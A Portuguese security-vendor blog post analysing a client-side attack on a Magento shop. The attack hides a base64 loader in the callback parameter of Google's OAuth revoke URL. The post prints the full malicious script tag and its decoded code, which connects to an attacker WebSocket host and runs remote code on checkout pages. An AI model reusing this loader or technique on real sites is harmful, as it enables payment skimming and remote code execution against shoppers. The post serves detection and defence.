Skip to main content
Blog
Blog

Google OAuth Armado Dispara WebSocket Malicioso

Um atacante está usando 'Google.com' para entregar e executar seu próprio código em um ataque armado ao Google OAuth.

Jun 10, 2025 3 min read
weaponized-google-oauth-image-cover

Analisamos um ataque client-side particularmente engenhoso em um site de eCommerce baseado em Magento, o parts[.]expert. Embora não seja um domínio de alto tráfego, a técnica de injeção utilizada aqui merece atenção, pois se esconde à vista de todos.

O atacante está usando o 'Google.com' para entregar e executar seu próprio código, explorando medidas de segurança do OAuth, o que pode comprometer credenciais de contas Google e tokens de acesso.

O Que Encontramos

Nosso sistema sinalizou um script proveniente de uma URL inesperada:

<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>

À primeira vista, parece uma URL legítima de logout OAuth do servidor de autorização:

accounts.google.com/o/oauth2/revoke.

Mas, olhando mais de perto, o parâmetro callback foi armado para executar um payload JavaScript ofuscado via eval(atob(...)).

Análise Passo a Passo

O payload codificado em base64 embutido no callback é decodificado em outro script ofuscado, que cria dinamicamente uma conexão WebSocket maliciosa para um domínio controlado pelo atacante, levantando preocupações críticas de segurança WebSocket. Decodificado, ele é lido como:

(function() {
  let setupMaliciousWebSocket = () => {
    // Connect to attacker's WebSocket server
    const ws = new WebSocket("wss:/livechatinc.network/chatpipe/029/");

    // Execute any code received from the server
    ws.onmessage = (event) => {
      const maliciousCode = atob(event.data); // Decode Base64
      new Function(maliciousCode).call(event.target); // Execute dynamically
    };
  };

  // Run if:
  // 1. The browser is automated (e.g., bots), OR
  // 2. The URL contains 'checkout' (e.g., payment page)
  if (navigator.webdriver || window.location.href.match('checkout')) {
    setupMaliciousWebSocket();
  }
})();

O Que o Script Faz

  1. Conecta a um Servidor WebSocket Malicioso se a página contiver checkout na URL. Ou, se o navegador parecer automatizado, abre uma conexão wss:// para livechatinc[.]network/chatpipe/029/. Esse domínio já está sinalizado como malicioso: link do VirusTotal, e são exemplos claros de ataques WebSocket em ação.
  2. Recebe e Executa Payloads Remotos: Qualquer mensagem codificada em base64 enviada pelo WebSocket é decodificada e executada com new Function(...). Isso concede ao atacante capacidade total de execução remota dentro da sessão do navegador do usuário — uma técnica frequentemente usada em phishing OAuth e outros ataques OAuth — e pode resultar em vazamento de dados, interceptando informações sensíveis como endereços de e-mail e dados de pagamento.
  3. Consciente do Momento e do Contexto: O script é ativado especificamente em páginas de checkout, provavelmente para interceptar dados de pagamento ou injetar elementos fraudulentos em tempo real.

Por Que Isso É Importante

  • Parece Legítimo: Aparenta carregar de um domínio do Google, assemelhando-se ao tráfego de vulnerabilidades do Google OAuth, então a maioria das ferramentas de segurança confiaria nele sem questionar. Uma CSP não conseguirá bloquear esse ataque, pois o domínio confiável Google.com passará normalmente. Um filtro DNS no dispositivo do usuário também não seria eficaz.
  • Burla Scanners Estáticos: A lógica perigosa está aninhada em duas camadas de ofuscação e só é executada sob condições específicas, tornando-a especialmente difícil de detectar para organizações sem um avaliador de segurança qualificado (QSA).
  • Controle em Tempo Real: Payloads baseados em WebSocket permitem que os atacantes enviem lógica maliciosa dinâmica com base nas ações do usuário.

Já vimos antes casos de falsificação de domínio e loaders ofuscados, mas essa combinação de desvio de OAuth com controle remoto ativado condicionalmente vai um passo além.

Nosso produto na cside foi capaz de identificar e bloquear esse ataque. Recebemos o payload completo do script buscado e o analisamos antes de ser enviado ao navegador.

Você pode criar uma conta ou agendar uma demonstração aqui.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Monitore e Proteja Seus Scripts de Terceiros

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Comece grátis, ou experimente o Business com um teste de 14 dias.

Interface do painel cside mostrando monitoramento de scripts e análises de segurança
Related Articles
Agende uma demonstração